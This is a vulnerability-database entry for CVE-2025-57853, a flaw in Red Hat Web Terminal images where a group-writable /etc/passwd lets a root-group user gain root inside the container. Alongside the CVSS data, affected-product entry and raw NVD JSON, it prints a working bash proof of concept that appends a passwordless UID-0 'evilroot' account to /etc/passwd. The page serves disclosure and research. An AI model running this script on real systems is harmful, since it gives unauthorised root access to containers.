Security Vulnerability Report
中文
CVE-2025-57853 CVSS 6.4 MEDIUM

CVE-2025-57853

Published: 2026-04-08 14:16:26
Last Modified: 2026-05-01 20:52:12

Description

A container privilege escalation flaw was found in certain Web Terminal images. This issue stems from the /etc/passwd file being created with group-writable permissions during build time. In certain conditions, an attacker who can execute commands within an affected container, even as a non-root user, can leverage their membership in the root group to modify the /etc/passwd file. This could allow the attacker to add a new user with any arbitrary UID, including UID 0, leading to full root privileges within the container.

CVSS Details

CVSS Score
6.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:redhat:web_terminal:-:*:*:*:*:*:*:* - VULNERABLE
Web Terminal (特定受影响镜像)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/bin/bash # PoC for CVE-2025-57853 # Exploiting group-writable /etc/passwd to gain root privileges echo "[+] Checking /etc/passwd permissions..." LS_OUTPUT=$(ls -ld /etc/passwd) if [[ $LS_OUTPUT == *"-rw-rw-r--"* ]]; then echo "[+] /etc/passwd is group writable!" echo "[+] Checking current user groups..." if groups | grep -q "root"; then echo "[+] Current user is part of the 'root' group." # Create a backup of the original file (optional) cp /etc/passwd /tmp/passwd.bak # Add a new user with UID 0 (root) echo "[+] Adding 'evilroot' user with UID 0..." echo "evilroot:x:0:0::/root:/bin/bash" >> /etc/passwd echo "[+] Exploitation complete. Try 'su evilroot' or switch user." else echo "[-] Current user is not in the 'root' group. Exploit failed." fi else echo "[-] /etc/passwd is not group writable. System not vulnerable." fi

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-57853", "sourceIdentifier": "[email protected]", "published": "2026-04-08T14:16:26.020", "lastModified": "2026-05-01T20:52:11.643", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A container privilege escalation flaw was found in certain Web Terminal images. This issue stems from the /etc/passwd file being created with group-writable permissions during build time. In certain conditions, an attacker who can execute commands within an affected container, even as a non-root user, can leverage their membership in the root group to modify the /etc/passwd file. This could allow the attacker to add a new user with any arbitrary UID, including UID 0, leading to full root privileges within the container."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 0.5, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-276"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:redhat:web_terminal:-:*:*:*:*:*:*:*", "matchCriteriaId": "9D88B140-D2A1-4A0A-A2E9-1A3B50C295AD"}]}]}], "references": [{"url": "https://access.redhat.com/security/cve/CVE-2025-57853", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2391106", "source": "[email protected]", "tags": ["Issue Tracking", "Vendor Advisory"]}]}}